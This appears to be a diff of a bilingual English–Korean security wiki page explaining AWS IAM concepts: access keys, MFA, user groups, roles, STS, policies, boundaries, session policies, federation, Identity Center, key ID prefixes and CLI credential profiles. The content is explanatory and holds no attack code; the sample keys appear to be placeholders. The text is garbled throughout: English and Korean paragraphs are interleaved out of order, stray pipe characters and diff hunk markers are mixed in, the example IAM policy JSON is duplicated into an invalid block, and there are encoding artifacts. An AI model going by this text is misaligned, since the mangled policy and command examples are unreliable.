- **Access Key ID**: 20개의 무작위 대문자 알파벳 숫자 조합, 예: AKHDNAPO86BSHKDIRYT
|
||||
- **Secret access key ID**: 40개의 무작위 대소문자 조합: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (잃어버린 비밀 액세스 키 ID를 복구할 수 없습니다).
|
||||
|
||||
Whenever you need to **change the Access Key** this is the process you should follow:\
|
||||
**Access Key를 변경해야 할 때** 따라야 할 과정은 다음과 같습니다:\
|
||||
&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
|
||||
|
||||
### MFA - Multi Factor Authentication
|
||||
|
||||
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
|
||||
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
|
||||
기존의 방법(예: 비밀번호) 외에 **인증을 위한 추가 요소를 생성**하는 데 사용되며, 따라서 다중 요소 인증 수준을 생성합니다.\
|
||||
**무료 가상 애플리케이션이나 물리적 장치**를 사용할 수 있습니다. Google 인증기와 같은 앱을 무료로 사용하여 AWS에서 MFA를 활성화할 수 있습니다.
|
||||
|
||||
Policies with MFA conditions can be attached to the following:
|
||||
MFA 조건이 있는 정책은 다음에 첨부될 수 있습니다:
|
||||
|
||||
- An IAM user or group
|
||||
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
|
||||
- The trust policy of an IAM role that can be assumed by a user
|
||||
|
||||
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
|
||||
Note that **`AssumeRole` credentials don't contain this information**.
|
||||
- IAM 사용자 또는 그룹
|
||||
- Amazon S3 버킷, Amazon SQS 큐 또는 Amazon SNS 주제와 같은 리소스
|
||||
- 사용자가 가정할 수 있는 IAM 역할의 신뢰 정책
|
||||
|
||||
**CLI를 통해** MFA를 **확인하는 리소스에 접근**하려면 **`GetSessionToken`**을 호출해야 합니다. 그러면 MFA에 대한 정보가 포함된 토큰이 제공됩니다.\
|
||||
**`AssumeRole` 자격 증명에는 이 정보가 포함되어 있지 않습니다**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
As [**여기서 언급된 바와 같이**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), **MFA를 사용할 수 없는** 다양한 경우가 있습니다.
|
||||
|
||||
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
|
||||
### [IAM 사용자 그룹](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
IAM [사용자 그룹](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)은 **여러 사용자에게 정책을 한 번에 연결하는** 방법으로, 이러한 사용자의 권한을 관리하기 쉽게 만들어 줍니다. **역할과 그룹은 그룹의 일부가 될 수 없습니다**.
|
||||
|
||||
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
|
||||
**사용자 그룹에 신원 기반 정책을 연결**할 수 있어, 사용자 그룹의 **모든 사용자**가 **정책의 권한을 받게** 됩니다. **정책**(예: 리소스 기반 정책)에서 **`Principal`**로 **사용자 그룹**을 식별할 수 **없습니다**. 그룹은 인증이 아닌 권한과 관련이 있으며, 주체는 인증된 IAM 엔터티입니다.
|
||||
|
||||
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
|
||||
사용자 그룹의 몇 가지 중요한 특성은 다음과 같습니다:
|
||||
|
||||
Here are some important characteristics of user groups:
|
||||
- 사용자 **그룹**은 **많은 사용자**를 **포함할 수 있으며**, **사용자**는 **여러 그룹에 속할 수 있습니다**.
|
||||
- **사용자 그룹은 중첩될 수 없습니다**; 사용자만 포함할 수 있으며, 다른 사용자 그룹은 포함할 수 없습니다.
|
||||
- **AWS 계정의 모든 사용자를 자동으로 포함하는 기본 사용자 그룹은 없습니다**. 그런 사용자 그룹을 원하면, 직접 생성하고 각 새로운 사용자를 할당해야 합니다.
|
||||
- AWS 계정의 IAM 리소스 수(예: 그룹 수)와 사용자가 속할 수 있는 그룹 수는 제한되어 있습니다. 자세한 내용은 [IAM 및 AWS STS 할당량](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)을 참조하세요.
|
||||
|
||||
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
|
||||
- **User groups can't be nested**; they can contain only users, not other user groups.
|
||||
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
|
||||
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
### [IAM 역할](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
IAM **역할**은 **사용자**와 매우 **유사**하며, AWS에서 **무엇을 할 수 있고 할 수 없는지를 결정하는 권한 정책을 가진 **신원**입니다. 그러나 역할은 **자격 증명**(비밀번호 또는 액세스 키)이 없습니다. 역할은 특정 개인과 고유하게 연결되는 것이 아니라, **필요한 사람 누구나(충분한 권한이 있는 경우)** **가정할 수 있도록** 설계되었습니다. **IAM 사용자는 특정 작업을 위해 임시로** 다른 권한을 취득하기 위해 역할을 가정할 수 있습니다. 역할은 IAM 대신 외부 신원 공급자를 사용하여 로그인하는 [**연합 사용자**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)에게 **할당될 수 있습니다**.
|
||||
|
||||
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
|
||||
IAM 역할은 **두 가지 유형의 정책**으로 구성됩니다: **신뢰 정책**, 비어 있을 수 없으며 **누가 역할을 가정할 수 있는지를 정의하고**, **권한 정책**, 비어 있을 수 없으며 **무엇에 접근할 수 있는지를 정의합니다**.
|
||||
|
||||
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
|
||||
#### AWS 보안 토큰 서비스 (STS)
|
||||
|
||||
#### AWS Security Token Service (STS)
|
||||
AWS 보안 토큰 서비스 (STS)는 **임시, 제한된 권한 자격 증명**의 **발급을 용이하게 하는** 웹 서비스입니다. 이는 특히 다음을 위해 맞춤화되어 있습니다:
|
||||
|
||||
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
|
||||
### [IAM의 임시 자격 증명](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
**임시 자격 증명은 주로 IAM 역할과 함께 사용되지만**, 다른 용도도 있습니다. 표준 IAM 사용자보다 더 제한된 권한 세트를 가진 임시 자격 증명을 요청할 수 있습니다. 이는 **더 제한된 자격 증명으로 허용되지 않는 작업을 실수로 수행하는 것을 방지합니다**. 임시 자격 증명의 장점은 설정된 기간 후에 자동으로 만료된다는 것입니다. 자격 증명이 유효한 기간을 제어할 수 있습니다.
|
||||
|
||||
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
|
||||
### 정책
|
||||
|
||||
### Policies
|
||||
#### 정책 권한
|
||||
|
||||
#### Policy Permissions
|
||||
권한을 할당하는 데 사용됩니다. 두 가지 유형이 있습니다:
|
||||
|
||||
Are used to assign permissions. There are 2 types:
|
||||
|
||||
- AWS managed policies (preconfigured by AWS)
|
||||
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
|
||||
|
||||
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
|
||||
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
|
||||
- AWS 관리형 정책 (AWS에서 미리 구성)
|
||||
- 고객 관리형 정책: 사용자가 구성합니다. AWS 관리형 정책을 기반으로 정책을 생성할 수 있습니다(그 중 하나를 수정하고 자신의 것을 생성), 정책 생성기(권한 부여 및 거부를 돕는 GUI 보기)를 사용하거나 직접 작성할 수 있습니다.
|
||||
|
||||
**기본적으로 접근은** **거부됩니다**, 명시적인 역할이 지정된 경우에만 접근이 허용됩니다.\
|
||||
**단일 "거부"가 존재하면, "허용"을 무시합니다**, AWS 계정의 루트 보안 자격 증명을 사용하는 요청은 기본적으로 허용됩니다.
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
The [전 세계에서 모든 서비스에 대한 조건으로 사용할 수 있는 필드는 여기에서 문서화되어 있습니다](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
[서비스별로 조건으로 사용할 수 있는 특정 필드는 여기에서 문서화되어 있습니다](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
#### 인라인 정책
|
||||
|
||||
#### Inline Policies
|
||||
이러한 종류의 정책은 **사용자, 그룹 또는 역할에 직접 할당됩니다**. 따라서 다른 사용자가 사용할 수 있는 정책 목록에는 나타나지 않습니다.\
|
||||
인라인 정책은 **정책과 적용되는 신원 간의 엄격한 일대일 관계를 유지하고자 할 때 유용합니다**. 예를 들어, 정책의 권한이 의도된 신원 외의 신원에 우연히 할당되지 않도록 확실히 하고 싶습니다. 인라인 정책을 사용할 때, 정책의 권한은 잘못된 신원에 우연히 연결될 수 없습니다. 또한, AWS Management Console을 사용하여 해당 신원을 삭제할 때, 신원에 내장된 정책도 함께 삭제됩니다. 이는 그것들이 주체 엔티티의 일부이기 때문입니다.
|
||||
|
||||
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
|
||||
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
|
||||
#### 리소스 버킷 정책
|
||||
|
||||
#### Resource Bucket Policies
|
||||
이것은 **리소스에서 정의할 수 있는 정책**입니다. **모든 AWS 리소스가 이를 지원하는 것은 아닙니다**.
|
||||
|
||||
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
|
||||
주체가 이에 대한 명시적인 거부가 없고, 리소스 정책이 그들에게 접근을 허용하면, 그들은 허용됩니다.
|
||||
|
||||
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
|
||||
### IAM 경계
|
||||
|
||||
### IAM Boundaries
|
||||
IAM 경계는 **사용자 또는 역할이 접근할 수 있는 권한을 제한하는 데 사용할 수 있습니다**. 이렇게 하면, 다른 정책에 의해 사용자에게 다른 권한 세트가 부여되더라도, 그가 이를 사용하려고 할 경우 작업이 **실패**합니다.
|
||||
|
||||
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
|
||||
경계는 사용자에게 연결된 정책으로, **사용자 또는 역할이 가질 수 있는 최대 권한 수준을 나타냅니다**. 따라서, **사용자가 관리자 접근 권한을 가지고 있더라도**, 경계가 그가 S· 버킷만 읽을 수 있다고 나타내면, 그것이 그가 할 수 있는 최대입니다.
|
||||
|
||||
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
|
||||
**이것**, **SCPs** 및 **최소 권한 원칙을 따르는 것**은 사용자가 필요 이상으로 많은 권한을 가지지 않도록 제어하는 방법입니다.
|
||||
|
||||
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
|
||||
### 세션 정책
|
||||
|
||||
### Session Policies
|
||||
|
||||
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
|
||||
|
||||
This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
|
||||
세션 정책은 **역할이 가정될 때 설정되는 정책**입니다. 이는 해당 세션에 대한 **IAM 경계와 같습니다**: 이는 세션 정책이 권한을 부여하지 않고 **정책에 명시된 권한으로 제한한다는 것을 의미합니다** (최대 권한은 역할이 가진 권한입니다).
|
||||
|
||||
이는 **보안 조치**에 유용합니다: 관리자가 매우 특권이 있는 역할을 가정할 때, 세션이 손상될 경우 세션 정책에 명시된 권한만으로 제한할 수 있습니다.
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
|
||||
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
|
||||
따라서, 만약 어느 시점에 "... because no session policy allows the ..."라는 오류에 직면하게 된다면, 그리고 역할이 해당 작업을 수행할 수 있는 접근 권한이 있다면, 이는 **세션 정책이 이를 방지하고 있기 때문입니다**.
|
||||
|
||||
### Identity Federation
|
||||
|
||||
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
|
||||
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
|
||||
Identity provider의 예로는 귀사의 **Microsoft Active Directory** (via **SAML**) 또는 **OpenID** 서비스 (like **Google**)가 있습니다. 연합된 접근은 그 안의 사용자들이 AWS에 접근할 수 있도록 합니다.
|
||||
|
||||
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
|
||||
이 신뢰를 구성하기 위해, **IAM Identity Provider가 생성됩니다 (SAML 또는 OAuth)**, 이는 **다른 플랫폼을 신뢰합니다**. 그런 다음, 적어도 하나의 **IAM 역할이 Identity Provider에 (신뢰하는) 할당됩니다**. 신뢰된 플랫폼의 사용자가 AWS에 접근하면, 그는 언급된 역할로 접근하게 됩니다.
|
||||
|
||||
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
|
||||
그러나 일반적으로는 **제3자 플랫폼의 사용자 그룹에 따라 다른 역할을 부여하고 싶을 것입니다**. 그런 다음, 여러 **IAM 역할이 제3자 Identity Provider를 신뢰할 수 있으며**, 제3자 플랫폼이 사용자가 하나의 역할 또는 다른 역할을 맡도록 허용하는 역할을 하게 됩니다.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### IAM Identity Center
|
||||
|
||||
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
|
||||
AWS IAM Identity Center (AWS Single Sign-On의 후속 제품)는 AWS Identity and Access Management (IAM)의 기능을 확장하여 **사용자 및 그들의 AWS** 계정 및 클라우드 애플리케이션에 대한 접근을 **중앙에서 관리할 수 있는 장소**를 제공합니다.
|
||||
|
||||
The login domain is going to be something like `<user_input>.awsapps.com`.
|
||||
로그인 도메인은 `<user_input>.awsapps.com`과 같은 형식이 될 것입니다.
|
||||
|
||||
To login users, there are 3 identity sources that can be used:
|
||||
사용자를 로그인시키기 위해 사용할 수 있는 3가지 신원 소스가 있습니다:
|
||||
|
||||
- Identity Center Directory: Regular AWS users
|
||||
- Active Directory: Supports different connectors
|
||||
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
|
||||
- Identity Center Directory: 일반 AWS 사용자
|
||||
- Active Directory: 다양한 커넥터 지원
|
||||
- External Identity Provider: 모든 사용자 및 그룹이 외부 Identity Provider (IdP)에서 옵니다.
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
|
||||
Identity Center 디렉토리의 가장 간단한 경우, **Identity Center는 사용자 및 그룹 목록을 가지며** 이들에게 **정책을 할당할 수 있습니다** **조직의 모든 계정에 대해**.
|
||||
|
||||
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
|
||||
Identity Center 사용자/그룹이 계정에 접근할 수 있도록 하려면, **Identity Center를 신뢰하는 SAML Identity Provider가 생성되고**, **지정된 정책을 가진 Identity Provider를 신뢰하는 역할이 대상 계정에 생성됩니다**.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
|
||||
**IAM Identity Center를 통해 생성된 역할에 인라인 정책을 통해 권한을 부여하는 것이 가능합니다**. AWS Identity Center에서 **인라인 정책을 가진 계정에 생성된 역할은** **`AwsSSOInlinePolicy`**라는 인라인 정책에서 이러한 권한을 가집니다.
|
||||
|
||||
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
|
||||
따라서, **`AwsSSOInlinePolicy`**라는 인라인 정책을 가진 2개의 역할을 보더라도, 이는 **동일한 권한을 가진다는 것을 의미하지 않습니다**.
|
||||
|
||||
### Cross Account Trusts and Roles
|
||||
|
||||
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
|
||||
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
|
||||
**사용자** (신뢰하는)는 일부 정책을 가진 Cross Account Role을 생성한 다음, **다른 사용자** (신뢰받는)가 **그의 계정에 접근할 수 있도록 허용할 수 있습니다**. 그러나 **새 역할 정책에 명시된 접근만 허용됩니다**. 이를 생성하려면, 새 역할을 생성하고 Cross Account Role을 선택하면 됩니다. Cross-Account Access를 위한 역할은 두 가지 옵션을 제공합니다. 소유한 AWS 계정 간의 접근을 제공하거나, 소유한 계정과 제3자 AWS 계정 간의 접근을 제공합니다.\
|
||||
**신뢰받는 사용자를 명시하고 일반적인 것을 넣지 않는 것이 권장됩니다**, 그렇지 않으면 연합된 사용자와 같은 다른 인증된 사용자가 이 신뢰를 남용할 수 있습니다.
|
||||
|
||||
### AWS Simple AD
|
||||
|
||||
Not supported:
|
||||
지원되지 않음:
|
||||
|
||||
- Trust Relations
|
||||
- AD Admin Center
|
||||
@@ -292,40 +276,40 @@ Not supported:
|
||||
- AD Recycle Bin
|
||||
- Group Managed Service Accounts
|
||||
- Schema Extensions
|
||||
- No Direct access to OS or Instances
|
||||
- OS 또는 인스턴스에 대한 직접 접근 없음
|
||||
|
||||
#### Web Federation or OpenID Authentication
|
||||
|
||||
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
|
||||
앱은 AssumeRoleWithWebIdentity를 사용하여 임시 자격 증명을 생성합니다. 그러나 이는 AWS 콘솔에 대한 접근을 부여하지 않으며, AWS 내의 리소스에 대한 접근만 부여합니다.
|
||||
|
||||
### Other IAM options
|
||||
|
||||
- You can **set a password policy setting** options like minimum length and password requirements.
|
||||
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
|
||||
- **비밀번호 정책 설정**을 통해 최소 길이 및 비밀번호 요구 사항과 같은 옵션을 설정할 수 있습니다.
|
||||
- 현재 자격 증명에 대한 정보(예: 사용자 생성 시간, 비밀번호 활성화 여부 등)를 포함한 **"Credential Report"를 다운로드할 수 있습니다**. 자격 증명 보고서는 최대 **4시간마다** 생성할 수 있습니다.
|
||||
|
||||
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
|
||||
AWS Identity and Access Management (IAM)는 AWS 전반에 걸쳐 **세밀한 접근 제어**를 제공합니다. IAM을 사용하면 **누가 어떤 서비스와 리소스에 접근할 수 있는지**, 그리고 어떤 조건에서 접근할 수 있는지를 지정할 수 있습니다. IAM 정책을 통해, 인력과 시스템에 대한 권한을 관리하여 **최소 권한 원칙을 보장합니다**.
|
||||
|
||||
### IAM ID Prefixes
|
||||
|
||||
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
|
||||
[**이 페이지**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids)에서 키의 성격에 따라 **IAM ID 접두사**를 찾을 수 있습니다:
|
||||
|
||||
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ABIA | [AWS STS 서비스 베어러 토큰](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ACCA | Context-specific credential |
|
||||
| AGPA | User group |
|
||||
| AIDA | IAM user |
|
||||
| AIPA | Amazon EC2 instance profile |
|
||||
| AKIA | Access key |
|
||||
| ANPA | Managed policy |
|
||||
| ANVA | Version in a managed policy |
|
||||
| APKA | Public key |
|
||||
| AROA | Role |
|
||||
| ASCA | Certificate |
|
||||
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
|
||||
| ACCA | 컨텍스트 특정 자격 증명 |
|
||||
| AGPA | 사용자 그룹 |
|
||||
| AIDA | IAM 사용자 |
|
||||
| AIPA | Amazon EC2 인스턴스 프로필 |
|
||||
| AKIA | 접근 키 |
|
||||
| ANPA | 관리형 정책 |
|
||||
| ANVA | 관리형 정책의 버전 |
|
||||
| APKA | 공개 키 |
|
||||
| AROA | 역할 |
|
||||
| ASCA | 인증서 |
|
||||
| ASIA | [임시 (AWS STS) 접근 키 ID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)는 이 접두사를 사용하지만, 비밀 접근 키 및 세션 토큰과 조합하여만 고유합니다. |
|
||||
|
||||
### Recommended permissions to audit accounts
|
||||
|
||||
The following privileges grant various read access of metadata:
|
||||
다음 권한은 메타데이터에 대한 다양한 읽기 접근을 부여합니다:
|
||||
|
||||
- `arn:aws:iam::aws:policy/SecurityAudit`
|
||||
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
|
||||
@@ -340,10 +324,9 @@ The following privileges grant various read access of metadata:
|
||||
|
||||
### CLI Authentication
|
||||
|
||||
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
|
||||
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
|
||||
Example of credentials file with more than 1 profile:
|
||||
|
||||
일반 사용자가 CLI를 통해 AWS에 인증하기 위해서는 **로컬 자격 증명**이 필요합니다. 기본적으로 `~/.aws/credentials`에서 **수동으로** 구성하거나 **`aws configure`를 실행하여** 구성할 수 있습니다.\
|
||||
해당 파일에는 하나 이상의 프로필을 가질 수 있으며, **aws cli**를 사용할 때 **프로필이 지정되지 않으면**, 해당 파일에서 **`[default]`**라는 이름의 프로필이 사용됩니다.\
|
||||
하나 이상의 프로필이 있는 자격 증명 파일의 예:
|
||||
```
|
||||
[default]
|
||||
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
|
||||
@@ -354,12 +337,12 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
|
||||
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
|
||||
region = eu-west-2
|
||||
```
|
||||
|
||||
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
|
||||
|
||||
다른 AWS 계정에 접근해야 하고 프로필이 해당 계정 내에서 **역할을 가정할 수 있는** 권한을 부여받았다면, 매번 수동으로 STS를 호출하고(`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) 자격 증명을 구성할 필요가 없습니다.
|
||||
|
||||
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
|
||||
A config file example:
|
||||
|
||||
```
|
||||
[profile acc2]
|
||||
region=eu-west-2
|
||||
@@ -368,14 +351,11 @@ role_session_name = <session_name>
|
||||
source_profile = <profile_with_assume_role>
|
||||
sts_regional_endpoints = regional
|
||||
```
|
||||
|
||||
With this config file you can then use aws cli like:
|
||||
|
||||
이 구성 파일을 사용하여 aws cli를 다음과 같이 사용할 수 있습니다:
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
|
||||
